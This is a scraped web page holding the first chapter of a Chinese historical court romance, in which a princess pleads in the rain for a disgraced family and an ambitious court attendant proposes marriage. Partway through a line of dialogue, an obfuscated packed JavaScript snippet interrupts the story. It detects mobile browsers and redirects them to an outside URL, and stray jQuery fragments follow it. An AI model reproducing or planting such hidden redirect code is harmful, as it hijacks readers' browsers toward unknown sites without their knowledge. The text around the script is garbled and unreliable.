默认冷灰
24号文字
方正启体

1. 第 1 章

作者:岁既晏兮本书字数:K更新时间:
    晨间的薄雾散去,天色却不见明。沉沉的阴云汇聚而来,不多一会儿便织起了细细密密的雨丝。


    水珠在发间的朱钗上凝结,衣衫也被打湿变得沉甸甸的,湿冷地贴在身上。


    殿内终于有了动静,正崇帝的近侍宦官捧着油衣过来。


    他躬身叩首,膝行上前,低声,“郡主,天雨寒甚,陛下一早就去了宣政殿,您这般跪着,陛下也瞧不见啊。奴斗胆,郡主不若先去平乐宫歇息一二,徐夫人前日还念着郡主呢……您去平乐宫用些茶点,待陛下回了,奴自会遣人知会于您。”


    岑篱却未接油衣,只是问:“那以刘常侍之见,陛下何时能回?”


    对面一下子支吾起来,好一会儿才道:“这些日子朝事繁杂,陛下也劳心甚笃啊。”


    这便是敷衍的套话了。


    人想要避开见面,总是有甚多的理由,况且那人是天子。


    岑篱摆手挥开油衣,对着殿门跪得笔直,“儿不肖,在此等大父归来。”


    那近侍叹息一声,到底捧着油衣退下去了。


    “吱呀”一声朱漆的殿门合上,铜环摇摆的声音在雨中缓缓漾开。


    雨丝越织越密,不消片刻,鬓边的头发被彻底打湿,水珠顺着发梢一滴滴落下,将原本只是湿重的衣衫沁得湿透,膝下更是积起了一滩小小的水洼,裙裾的下摆浸在其中,带着湿气的寒意仿佛要钻到骨头缝里,带来阵阵刺痛。


    毕竟是承明殿前,周遭还是宫娥内侍来往。


    只是所过之人皆有默契,都远远地避开了此处,便是不得已往前,亦是遥施一礼便匆匆离开,仿佛这里是被雨幕隔绝开的另一个世界。


    如此凄冷之下,岑篱却有些走神。


    他呢?匈奴刀兵加身的时候,是不是也如此之冷?


    岑篱不信那人会降,但大军渺无所踪却是事实。在茫茫大漠中丧失踪迹,让人忍不住做不测之想。


    岑篱甚至恍惚觉得降了也好,起码能保全性命。


    但是又明知以那人的骄傲,是宁肯死也不愿低头的。


    遥遥钟鼓声透过雨幕传来,岑篱被拉回了神智,是外廷的朝会开始了。


    从朝会开始到朝会结束,岑篱听见廷中公卿的步履渐渐远去,淹没在淋淋的雨声中,但这一处却像是被遗忘一般无人前来。倒是先前的近侍又来了一回,说是“今日朝事颇多,陛下仍在在外廷议事,不知何时能回来”,又是一次委婉地劝离。


    岑篱却对着空无一人的殿门叩首:“儿不敢打搅大父政务。”


    近侍:“这、这,郡主……唉~”


    他叹息着离开了。


    雨中跪得时间太久,连膝上的刺痛都已经感受不到,雨水打在湿淋淋的衣衫上,只剩下麻木的冰冷。


    不知过了多久,低垂的视线内突然踏入了一双青黑色的鞋履。


    鞋头微翘,丝帛的履面防不住雨水,因为被浸湿更显出上面暗绣的云纹。


    这并非内侍的鞋履,那不急不缓、好似每一步在积水漾开的波纹都相差仿佛的步伐也绝非近侍。


    岑篱忍不住抬头。


    青衫的下摆同样被雨水打湿,顺着腰间的蹀躞往上,她看到了一张俊秀温雅的面孔。


    岑篱觉得有些眼熟。


    青年微微前倾了身,执着伞的手向前。蒙蒙的细雨被遮挡住,密密铺洒在面上的凉意骤止,只剩下朱钗上滴下的水滴。


    他未俯身避让,也没有低头叩拜,这举动堪称无礼了。


    可偏偏由对方做来,又带着一种浑然天成的自若。


    岑篱又辨认了一会儿,才认出了这个常在正崇帝身侧、得许出入禁中的郎官。


    她回忆了一下,才不甚熟悉地,“苏郎官?”


    苏之仪轻轻颔首。


    他眼底仿佛闪过一丝浅淡的笑意,但转瞬即逝,让人看不分明。


    他温声:“陛下今日在朝会上发了好大的火。这次出兵本就遭诸臣阻拦,钱粮其一,战马其二,兵丁亦不足……陛下力排众议,这才引兵出征,却遭此大败。如今朝上议论纷纷,丞相言乃天意如此,非是发兵之机,力劝陛下罢手。”


    岑篱脸色瞬间惨白下去。


    她也算在御前长大,最是知晓这位大父脾气。他是决计不会相信什么“天意”的。


    既非天灾,那便只能是“人祸”了。


    这简直是把谢家架在火上拷。


    “郡主倒也不必忧心。”对方状似宽慰,“虽然战场归降,按律夷族,但谢侯实非等闲人,其虽因昔年旧事被褫夺爵位,但朝中依旧遍布故交。太常寺卿曾受其大恩,如今天子盛怒之下,亦冒死进言,恳求陛下收回成命。百官叩首应和,朝堂人心如此,陛下亦是无可奈何。”


    这话落,岑篱却控制不住地打起了哆嗦。


    明明淋了这么久的雨,但仿佛在这一刻,凉意才真正透骨而来。


    不,那根本不是“收回成命”。


    天子最恨受人胁迫,恐怕此时此刻,正崇帝才真正动了杀心。


    而这顷刻之间,思绪又指向另一紧要之处。


    此刻自己这殿前跪求,是否在这危局上再添薪柴?


    岑篱强按捺住心头骤起的寒意,对着身前之人敛衽一礼,“多谢苏郎官示下。”


    ——绝不能再跪下去了!


    苏之仪避让半步,眼神却借着这动作的遮掩半垂过去。


    湿透的衣衫狼狈地贴在身上,随着她低头的动作,露出后颈一小片肌肤。那里因为失温而显得苍白,漆黑的发丝黏在上面,隐隐可见仍在蜿蜒的水痕。


    他定定地注视了片刻,才缓声开口:“郡主不必言谢,不知郡主可有良策?”


    岑篱默然。


    经今日朝会上事,眼下绝不能有人在正崇帝面前替谢家求情。


    可若不求情,又如何救人呢?


    青年像是开解,“陛下虽恨忤逆,但于亲近之人却极优渥。”


    岑篱扯出一个苍白的笑。


    正崇帝是对心腹宠臣不吝封赏,对血缘之亲也多有宽厚。但若如此叩求下去,恐怕在对方心中,她早就成了外人了。


    但事已至此,她也只能,“谢苏郎官宽慰。”


    “非是宽慰。在下这倒是有一法子,只是说出来,未免辱没郡主,不敢妄言。”


    岑篱揖身再谢,“还是阁下不吝赐教。”


    话虽如此,岑篱并未指望太多。二人素无交际,对方能来告知此事已是仁至义尽。


    却听那边接着,“之仪倾慕郡主已久,只恨出身鄙薄,不堪配郡主贵胄。承蒙圣幸,得行走于御前、荫封于后人,以脱草莽之身。今斗胆相问,不知之仪是否有幸,得郡主垂青?”


    岑篱怔住了。


    她抬头看去,青衫郎官执着伞立于雨中,身姿如竹,气度清雅,怎么也看不出“出身鄙薄”四个字来。


    对方这话的意思又是?


    还待说什么,苏之仪已经深作一揖,“恕臣冒犯,还请郡主三思。”


    看见旁边张望的小黄门,岑篱也只能把到嘴边的话咽下,轻轻颔了下首。


    苏之仪更是像全没说过刚才那番“倾慕”的话一般,再行一礼,便恭恭敬敬地躬身退下了。


    苏之仪人走了,倒是把伞留下了。


    但这一点微小的遮蔽根本挡不住斜飞而来的雨幕。岑篱分明看见,随着他的转身,后背衣衫洇出一片被雨水打湿的深色痕迹。原来方才替她挡雨的,并不止那柄伞。


    *


    宣政殿偏殿。


    有宦官快步上前,对着门口人耳语几句,话层层相递,最后送到了正崇帝面前。


    天子终于从竹简中抬起了头,听不出喜怒地问了句,“走了?”


    旁边赵吉立刻接话道:“苏郎官同郡主说了几句话,郡主便离开了,想来也知道陛下政事繁杂,不欲在这时候搅扰陛下。郡主自来懂事,这次也只是一时急昏了头,但待陛下到底是一片赤诚孝心。”


    正崇帝嗤了一声,“你倒是向着她。”


    赵吉:“到底是在身边长大的孩子,郡主又是打小讨人喜欢的。莫说老奴了,陛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111991|179910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下也是打心眼里疼的。”


    正崇帝不置可否。


    只是隔了片刻,又问:“你方才说温知去了?”


    赵吉小声回着:“是,是苏郎官。陛下命他去西阁取卷宗,想来是途经承明殿时遇到了,苏郎官亦知陛下焦心郡主,不免帮忙劝解一二。两人在廊下说了半刻钟的话,苏郎官走后,郡主便离开了。”


    正崇帝倒是笑了,“他倒是会揣摩心思。”


    ……


    并不知道宣政殿的这一番对话,苏之仪走后,岑篱确实没在承明殿外多加逗留。


    她去了徐夫人的平乐宫。


    先后病逝,正崇帝并未再立,后宫中诸事都由徐夫人打理。


    听闻岑篱过来,徐夫人忙让人迎进来,那句“怎得有空来看看我这老婆子”调侃还没说完,就见岑篱这狼狈的样子。


    她大惊失色,“怎成了这副样子?!”


    又对旁边宫娥训斥,“还不快备热汤,准备给郡主沐浴,连个手炉都不知道送?都是干什么吃的!”


    岑篱却顾不得这许多,忙上前几步,对着徐夫人行了一大礼,“篱父母早逝,蒙陛下恩养宫中,如今有一难事,还请夫人做主。”


    徐夫人也顾不上岑篱这满身的湿透,忙不迭地拉人起来,“什么做主不做主的?这满朝上下,有谁敢给你委屈受?有什么事尽说便是!”


    “求夫人为臣女主一婚事。”


    这话一出,徐夫人原本惶急的神色滞了滞。


    片刻,她表情冷静了点,先是吩咐了旁边的宫娥去准备沐浴,又叫人去拿了手炉,这么七七.八八一吩咐,竟把周围的人全都打发走了。


    待到这时,才又伸手握住岑篱冰凉的手,“我知你和那谢小郎君情投意合,但如今景况你也知晓,这婚事便是我允了,你大父也不会答应。况为人长辈的怎么忍心看小辈受苦?那边生死前途尚都未卜,难不成让你父母在天有灵,看着你去守一个不知道会不会被牵连的活寡吗?”


    岑篱摇头。


    她以为自己会很难说出口,但这会儿却出乎意料地冷静,“非是同谢家的婚事,而是苏氏。”


    徐夫人一懵,一时居然没想起来,这满朝上下,有哪个列侯的姓苏。


    好半天,她才从那复杂的姻亲关系里扒拉出一个人来,“可是苏奇?虽说如今只是个奉朝请,但先辈到底是随高祖起势之人。身份低点便低点了,你要是喜欢,其他都不打紧,让你大父在朝上多照拂便是了。”


    岑篱:“并非此人。是陛下身边郎官,苏温知。”


    徐夫人怔了怔。


    不知想到了什么,反而松了口气,她拍着岑篱的手笑道:“你这孩子,怎的还置起气来了?闹脾气便闹脾气,可不许拿自己婚事说笑。那苏温知是什么人?其父虽也曾位列朝堂,不过出身小吏,他更不必说,蒙得父荫,在陛下身前一差遣的郎官耳,便是你大父不许你和那谢郎君的婚事,也不会如此辱没于你。”


    “怎能算辱没?苏郎官受陛下宠信,博闻强识精通律令,前途不可限量……古有吕不韦奇货可居,阿篱也想为自己寻一门亲事,求夫人应允。”


    徐夫人怔怔看了岑篱半晌,诧异地发现她是认真的。


    她先是觉得荒谬,旋即又意识到什么,嗟叹:“你又何至于此啊?”


    岑篱只是摇头,“求夫人做主。”


    连面都没见过几次,岑篱不至于相信苏之仪所谓的“倾慕”,但是他有句话却说中了:正崇帝待自己人极为宽厚。


    苏之仪想往上爬,他的出身是硬伤。为弥补此事,他得攀一门好亲事。


    可如今的风气,莫说皇室宗亲,便是没落勋贵家的女儿,也没有下嫁寒门的。苏之仪先前雨中那些话,若真的被旁人听得,多半要讥笑他痴心妄想,岑篱真的追究起来,能治他的罪也未可知。


    可岑篱却觉可行。


    对方想借她的郡主身份,恰巧她也需要做点什么挽回这一次的跪求。


    在为谢家求情之前,她必须表明,她还是正崇帝的“自己人”。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)